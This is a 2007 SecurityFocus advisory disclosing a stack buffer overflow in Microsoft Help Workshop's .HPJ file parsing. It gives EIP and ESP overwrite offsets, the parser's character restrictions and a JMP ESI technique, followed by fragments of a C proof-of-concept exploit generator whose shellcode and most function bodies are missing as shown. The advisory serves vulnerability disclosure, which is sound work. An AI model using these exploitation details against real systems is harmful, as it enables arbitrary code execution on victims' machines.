Back to list
Help project files (.HPJ) buffer overflow vulnerability in Microsoft Help Workshop
Jan 19 2007 07:43PM
porkythepig anspi pl
Microsoft Help Workshop is prone to stack based memory corruption vulnerability
during processing (.HPJ) help project files, caused by the lack of input data boundary check.
It could be exploited by malicious entity to execute arbitrary code within the remote
Microsoft Help Workshop 4.03.0002 is standard component of Microsoft Visual Studio 6 / 2003 (.NET)
It could be also downloaded alone from the Microsoft download center.
Remote code execution
An attacker must construct malformed (.HPJ) file and induce victim to
open it with the tool, or if MS Help Workshop has been launched
in the past (after first launch it associates the .HPJ files with itself),
to launch the malicious file by doubleclicking/selecting to OPEN the help project.
The stack based buffer overflow occurs in Microsoft Help Workshop
while processing .hpj project files.
Example .hpj file:
The problem lies in lack of boundary check of file path variables
(in this case: HelpFilePathString01) in the 'HLP' field of 'OPTIONS' section.
When the string lenght exceeds 256 bytes, programs static buffer is overflowed
and its memory is corrupted.
The EIP register value is then overwritten by the DWORD value
placed 108h bytes counting from the beginning of 'HelpFilePathString01' string.
The ESP is set to DWORD value placed 534 bytes counting from the beggining of
The process control can be therefore
intercepted by the attacker by redirecting the instruction flow
to the attackers provided code within the malformed .hpj file.
However before the data from the input file is being copied to the
buffer it is parsed by the process and the specific
ascii ranges (41-5A,8A,8C-8F,A3,A5,AA,Af,BC,C0-D6,D8-DE if the string
ends with '\') are modified before being deployed in the stack memory.
Therefore successful exploitation using ESP-pointed data area
requires strongly limited instruction set or payload encoder.
However after buffer overflows ESI value is pointing to
the buffer in the HCW.EXE .data PE section which holds the 'untouched'
input string, probably temp buffer for the parser.
ESI points to the beginning of the 'HelpFilePathString01'.
That simplifies the shellcode issue, althought
it must be considered that the DWORD return address to overwrite EIP with the
JMP ESI code offset in process memory space has
still to follow the ascii-excluding rules of the parser, because the overflow
is being produced by the parser procedure itself.
Microsoft Help Workshop v4.03.0002
Microsoft Visual Studio 6.0 SP6
Microsoft Visual Studio 2003 (.Net)
Vulnerability discovered and researched by: porkythepig
exploit by: porkythepig
email: porkythepig (at) anspi (dot) pl [email concealed]
Proof of Concept exploit has been included at the end of the report.
After compiled, it will create .hpj exploit files that
after successful exploitation should spawn user specified process
(by default notepad.exe), for the user specified host OS enviroment.
It can be also found at:
// PoC exploit for (.HPJ) project files buffer overflow vulnerability in
// Microsoft Help Workshop v4.03.0002
// The tool is standard component of MS Visual Studio v6.0 and 2003 (.NET)
// vulnerability found / exploit built by porkythepig
#define STR01 "Microsoft Help Workshop PoC exploit by porkythepig"
#define DEF_SPAWNED_PROCESS "notepad.exe"
#define EXPL_SIZE 671
#define PROC_NAM_SIZ 128
#define RET_OFFSET 0x14e
#define PROC_NAME_OFFSET 0x166
#define EXPRO_OFFSET 0xd9
#define GETSTAR_OFFSET 0x58
#define CREPRO_OFFSET 0xcf
#define GETWINDIR_OFFSET 0x73
unsigned int extPro;
unsigned int getStarInf;
unsigned int crePro;
unsigned int getWinDir;
unsigned int jmpEspPtr;
unsigned char shlCode=
printf("Exploit buffer compiled\n");
printf("Cannot open file for writing\n");
printf("Output .hpj file [ %s ] built successfully\n",outName);
void ProcessInput(int argc, char* argv)
printf("\nMicrosoft Help Workshop 4.03.0002 .HPJ Project file exploit\n");
printf("Vulnerability found & exploit built by porkythepig\n");
printf("Syntax: exploit.exe os outName [spawnProc]\n");
printf("[os] host OS, possible choices:\n");
printf(" 0 Windows 2000 SP4 [Polish] updates-04012007\n");
printf(" 1 Windows 2000 SP4 [English]\n");
printf(" 2 Windows 2000 SP4 [English] updates-04012007\n");
printf(" 3 Windows XP Pro SP2 [English] updates-04012007\n");
printf(" 4 Windows XP Pro [English]\n");
printf("[outName] output .hpj exploit file name\n");
printf("[spawnProc] *optional* full path to the process to be spawned by\n");
printf(" the exploit (if none specified default will be notepad.exe)\n");
int main(int argc, char* argv)
[ reply ]
Copyright 2010, SecurityFocus